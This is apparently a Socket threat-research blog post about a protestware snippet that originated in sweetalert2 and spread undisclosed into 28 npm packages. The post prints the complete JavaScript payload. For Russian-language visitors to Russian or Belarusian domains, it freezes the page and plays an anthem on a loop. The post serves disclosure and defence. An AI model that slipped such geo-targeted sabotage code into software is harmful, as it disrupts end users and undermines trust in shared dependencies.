Socket
Book a DemoInstallSign in
Socket
Book a DemoInstallSign in
Back
ResearchSecurity News

Tracking Protestware Spread: 28 npm Packages Affected by Payload Targeting Russian-Language Users

Undocumented protestware found in 28 npm packages disrupts UI for Russian-language users visiting Russian and Belarusian domains.

Tracking Protestware Spread: 28 npm Packages Affected by Payload Targeting Russian-Language Users

Olivia Brown

July 15, 2025

Socket’s Threat Research Team recently reported on two npm packages with hidden functionality for Russian-language users visiting Russian domains in a browser. In the last few weeks, the team has found the same protestware script across at least 28 new packages with nearly 2,000 versions.

As a reminder, this code will stop UI interactions on websites from working for any Russian-language users visiting Russian or Belarusian websites, falling under the classification of Socket’s protestware alert.

Technical Recap: How the Protestware Works#

Most of these packages have had 100,000+ lines of code in them:

Deep within the code, usually towards the end, there is an identical code snippet to the one discussed in our original blog post.

It is a complex if statement that requires the user (1) is using a browser (2) has their browser language settings set to Russian and (3) is visiting a Russian or Belarusian domain. If all three stipulations are met, the protestware will disable all mouse-based interaction on the page and play the Ukrainian national anthem.

// Dear russian users visiting russian sites. Let's have fun.
	  if (typeof window !== 'undefined' && /^ru\b/.test(navigator.language) && location.host.match(/\.(ru|su|by|xn--p1ai)$/)) {
	    var now = new Date();
	    var initiationDate = localStorage.getItem('swal-initiation');
	    if (!initiationDate) {
	      localStorage.setItem('swal-initiation', "".concat(now));
	    } else if ((now.getTime() - Date.parse(initiationDate)) / (1000 * 60 * 60 * 24) > 3) {
	      setTimeout(function () {
	        document.body.style.pointerEvents = 'none';
	        var ukrainianAnthem = document.createElement('audio');
	        ukrainianAnthem.src = 'https://flag-gimn.ru/wp-content/uploads/2021/09/Ukraina.mp3';
	        ukrainianAnthem.loop = true;
	        document.body.appendChild(ukrainianAnthem);
	        setTimeout(function () {
	          ukrainianAnthem.play()["catch"](function () {
	            // ignore
	          });
	        }, 2500);
	      }, 500);
	    }
	  }

New Findings: Widespread Reuse and Supply Chain Propagation#

Sweetalert2, a package with over 700,000+ weekly downloads, has certain versions containing the protestware. It’s a package for "A beautiful, responsive, customizable and accessible (WAI-ARIA) replacement for JavaScript's popup boxes, supported fork of sweetalert."

On sweetalert2's npm registry page, the author discloses the protestware:

Important notice about the usage of this software for .ru, .su, .by, and .рф domain zones As a consequence of the illegal war in Ukraine, the behavior of this repository and related npm package sweetalert2 is different for .ru, .su, .by, and .рф domain zones.
Including this software in any domain in .ru, .su, .by, and .рф domain zones will block the website navigation and play the national anthem of Ukraine.

The author, limonte, began disclosing this information in version 11.6.14, which was published 3 years ago, likely when Russia invaded Ukraine, and has disclosed it in every version since. The package is currently on version 11.22.2. Versions 9.17.3 11.6.6 also include this protestware.

However, several different packages with different authors all seem to have this protestware without any mention of it. It is not listed or acknowledged in their README files, nor any other place. It seems they downloaded it from SweetAlert2, based on the similar file name and structure between different packages with the protestware. The protestware has spread from SweetAlert2, likely through copied code, in a pattern resembling unintentional supply chain propagation.

Here is a list of some of the packages we have found with the protestware:

Package | Publish Date | Peak Download # | Author info | Current State | Versions | Most recent version update

Who is Targeted?#

limonte ensured that only repeat visitors are targeted, so anyone who mistakenly finds their way to such a domain and has their language set to Russian will not be impacted. Unless, of course, they make that same mistake twice.

Other users may be Russian-speaking researchers visiting official state websites or archived domains. As a note, many people speak Russian across the world, including people in Central Asia like Kazakhstan and in Ukraine.

Since so many packages downloaded versions of SweetAlert2 without disclosing that this protestware exists in their code, it’s likely the addition of this protestware has had a cascading effect.

Outlook and Recommendations#

Protestware is a formidable method of speech for software developers to express political or social stances. Socket supports this freedom for developers to create as they see fit.

We are marking these packages as malware since that is the definition with which the activity aligns most closely. The package triggers unexpected behavior for some users and, other than sweetalert2 itself, the behavior is not documented. Because the protestware is undocumented in most of these packages, developers and users may be unaware of its presence or intent, even if it was copied unintentionally. This lack of transparency increases the risk of surprise behavior and erodes trust in the ecosystem.

Socket has flagged the packages with this protestware as malware, with the following explicit description:

The package contains a hidden payload that targets Russian language users visiting Russian and Belarusian sites. For those users, it will disable user interaction and play a looping audio of the Ukrainian anthem after 3 days. Therefore, it is marked as malware only because it freezes interactions for many users. This behavior is not disclosed in any documentation of the package and seriously disrupts user experience.

This protestware underscores that actions taken by developers can propagate unnoticed in nested dependencies and may take days or weeks to manifest. The Socket Threat Research Team continues to find more examples of this protestware. These findings serve as a reminder to check your packages. Socket can help.

By integrating Socket's free security tools early in your development workflow, you can effectively prevent unknown functionality.

  • Socket GitHub App: Automated real-time security analysis of dependencies.
  • Socket CLI Tool: Inspect and detect anomalies during npm builds and installations.
  • Browser Extension: Scans npm package pages in your browser as you browse, flags suspicious or malicious code snippets in real-time, and warns you before you install or download a risky package.

MITRE ATT&CK Framework#

  • T1491.001 - Defacement: Internal Defacement
  • T1499 - Endpoint Denial of Service
  • T1140 - Deobfuscate/Decode Files or Information
  • T1082 - System Information Discovery

Subscribe to our newsletter

Get notified when we publish new security blog posts!

Try it now

Ready to block malicious and vulnerable dependencies?

Install GitHub AppBook a Demo

Related posts

Back to all posts
60 Malicious Ruby Gems Used in Targeted Credential Theft Campaign

Research

/

Security News

60 Malicious Ruby Gems Used in Targeted Credential Theft Campaign

A RubyGems malware campaign used 60 malicious packages posing as automation tools to steal credentials from social media and marketing tool users.

By Kirill Boychenko  -  Aug 07, 2025
SocketSocket SOC 2 Logo

Product

About

Packages

Explore npm
Explore Cargo
Explore Go
Explore Maven
Explore NuGet
Explore PyPI
Explore Rubygems

Stay in touch

Get open source security insights delivered straight into your inbox.

  • Terms
  • Privacy
  • Security

Made with ⚡️ by Socket Inc

U.S. Patent No. 12,346,443 & 12,314,394. Other pending.